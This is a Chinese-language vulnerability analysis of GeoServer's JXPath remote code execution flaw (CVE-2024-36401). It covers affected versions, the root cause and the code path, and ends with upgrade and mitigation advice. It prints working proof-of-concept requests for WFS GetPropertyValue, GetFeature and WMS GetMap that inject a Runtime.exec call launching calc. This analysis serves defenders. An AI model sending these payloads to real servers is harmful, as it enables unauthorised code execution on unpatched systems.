GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401) 分析
字数 1933 2025-08-24 16:48:07
GeoServer Property Evaluate 远程代码执行漏洞 (CVE-2024-36401) 分析报告
漏洞概述
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。该漏洞存在于GeoServer 2.23.6、2.24.4和2.25.2之前的版本中,源于GeoServer使用的第三方库GeoTools使用了不安全的commons-jxpath引擎处理xpath语句,导致攻击者能够通过发送各类OGC请求控制复杂的xpath表达式并注入恶意代码,从而实现远程代码执行(RCE)。
影响版本
- version < 2.23.6
- version < 2.24.4
- version < 2.25.2
漏洞原理
JXPath组件漏洞
JXPath是Apache提供的XPath的Java实现,它提供了用于遍历JavaBean、DOM和其他类型对象的API,并支持扩展机制。commons-jxpath <= 1.3版本存在安全漏洞:
- JXPath支持标准的XPath函数,同时支持"标准"扩展函数,这些函数基本上是通往Java的桥梁
- 它允许在表达式语言中调用任意public的静态方法
- 攻击者可以利用此特性执行任意Java代码
JXPath表达式示例:
// 创建对象
JXPathContext.newContext(null).getValue("new java.lang.ProcessBuilder('calc').start()");
// 调用静态方法
JXPathContext.newContext(null).getValue("exec(java.lang.Runtime.getRuntime(),'calc')");
// 调用对象方法
JXPathContext.newContext(null).getValue("$book.getAuthorsFirstName");
GeoServer漏洞触发点
GeoServer通过GeoTools库处理OGC请求时,以下API会调用存在漏洞的JXPath引擎:
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T>)org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor(){...}.get(Object, String, Class<T>)org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)
漏洞利用方式
1. WFS GetPropertyValue
POST请求示例:
POST /geoserver/wfs HTTP/1.1
Host: 127.0.0.1:8085
Content-Type: application/xml
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'
valueReference='exec(java.lang.Runtime.getRuntime(),"calc")'>
<wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>
GET请求示例:
/geoserver/wfs?request=GetPropertyValue&service=wfs&typeNames=topp:states&valueReference=exec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29&version=2.0.0
2. WFS GetFeature
POST请求示例:
<wfs:GetFeature service="WFS" version="1.1.0"
xmlns:topp="http://www.openplans.org/topp"
xmlns:wfs="http://www.opengis.net/wfs"
xmlns="http://www.opengis.net/ogc"
xmlns:gml="http://www.opengis.net/gml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/wfs">
<wfs:Query typeName="topp:states">
<Filter>
<Intersects>
<PropertyName>exec(java.lang.Runtime.getRuntime(),"calc")</PropertyName>
</Intersects>
</Filter>
</wfs:Query>
</wfs:GetFeature>
3. WMS GetMap
GET请求示例:
/geoserver/wms?version=1.3.0&bbox=24,-130,50,-66&Format=image/png&request=GetMap&width=550&height=250&crs=EPSG:4326&SLD_BODY=%3CStyledLayerDescriptor+version%3D%221.1.0%22%3E%3CUserLayer%3E%3CName%3Etopp%3Astates%3C%2FName%3E%3CUserStyle%3E%3CName%3EUserSelection%3C%2FName%3E%3CFeatureTypeStyle%3E%3CRule%3E%3CFilter%3E%3CPropertyIsEqualTo%3E%3CPropertyName%3Eexec%28java.lang.Runtime.getRuntime%28%29%2C%22calc%22%29%3C%2FPropertyName%3E%3CLiteral%3EIllinois%3C%2FLiteral%3E%3C%2FPropertyIsEqualTo%3E%3C%2FFilter%3E%3CPolygonSymbolizer%3E%3CFill%3E%3CSvgParameter+name%3D%22fill%22%3E%23FF0000%3C%2FSvgParameter%3E%3C%2FFill%3E%3C%2FPolygonSymbolizer%3E%3C%2FRule%3E%3CRule%3E%3CLineSymbolizer%3E%3CStroke%2F%3E%3C%2FLineSymbolizer%3E%3C%2FRule%3E%3C%2FFeatureTypeStyle%3E%3C%2FUserStyle%3E%3C%2FUserLayer%3E%3C%2FStyledLayerDescriptor%3E
漏洞分析
漏洞触发流程
- 攻击者通过OGC请求(如WFS GetPropertyValue)发送恶意xpath表达式
- GeoServer处理请求时调用GeoTools库的相关API
- GeoTools使用commons-jxpath引擎解析xpath表达式
- 恶意表达式被解析执行,导致任意代码执行
关键代码分析
在DefaultWebFeatureService20#getPropertyValue方法中:
public ValueCollectionType run(GetPropertyValueType request) throws WFSException {
// 参数验证
if (request.getValueReference() == null) {
throw new WFSException(request, "No valueReference specified", "MissingParameterValue")
.locator("valueReference");
}
// 创建PropertyName对象
PropertyName propertyName = filterFactory.property(request.getValueReference(), getNamespaceSupport());
PropertyName propertyNameNoIndexes = filterFactory.property(request.getValueReference().replaceAll("\\[", ""), getNamespaceSupport());
// 评估FeatureType的AttributeDescriptor
AttributeDescriptor descriptor = (AttributeDescriptor) propertyNameNoIndexes.evaluate(featureType.getFeatureType());
}
propertyNameNoIndexes.evaluate()最终会调用存在漏洞的FeaturePropertyAccessor.get()方法:
public <T> T evaluate(Object obj, Class<T> target) {
// 尝试获取属性值
value = accessor.get(obj, attPath, target);
success = true;
// 如果失败,查找所有可能的属性访问器
if (!success) {
List<PropertyAccessor> accessors = PropertyAccessors.findPropertyAccessors(obj, attPath, target, hints);
for (PropertyAccessor propertyAccessor : accessors) {
accessor = propertyAccessor;
try {
value = accessor.get(obj, attPath, target);
success = true;
break;
} catch (Exception e) {
// 记录异常
}
}
}
}
修复建议
-
升级GeoServer到以下安全版本:
- 2.23.6 或更高
- 2.24.4 或更高
- 2.25.2 或更高
-
如果无法立即升级,可以采取以下临时缓解措施:
- 限制对GeoServer的访问
- 禁用不必要的OGC服务
- 使用Web应用防火墙(WAF)过滤恶意请求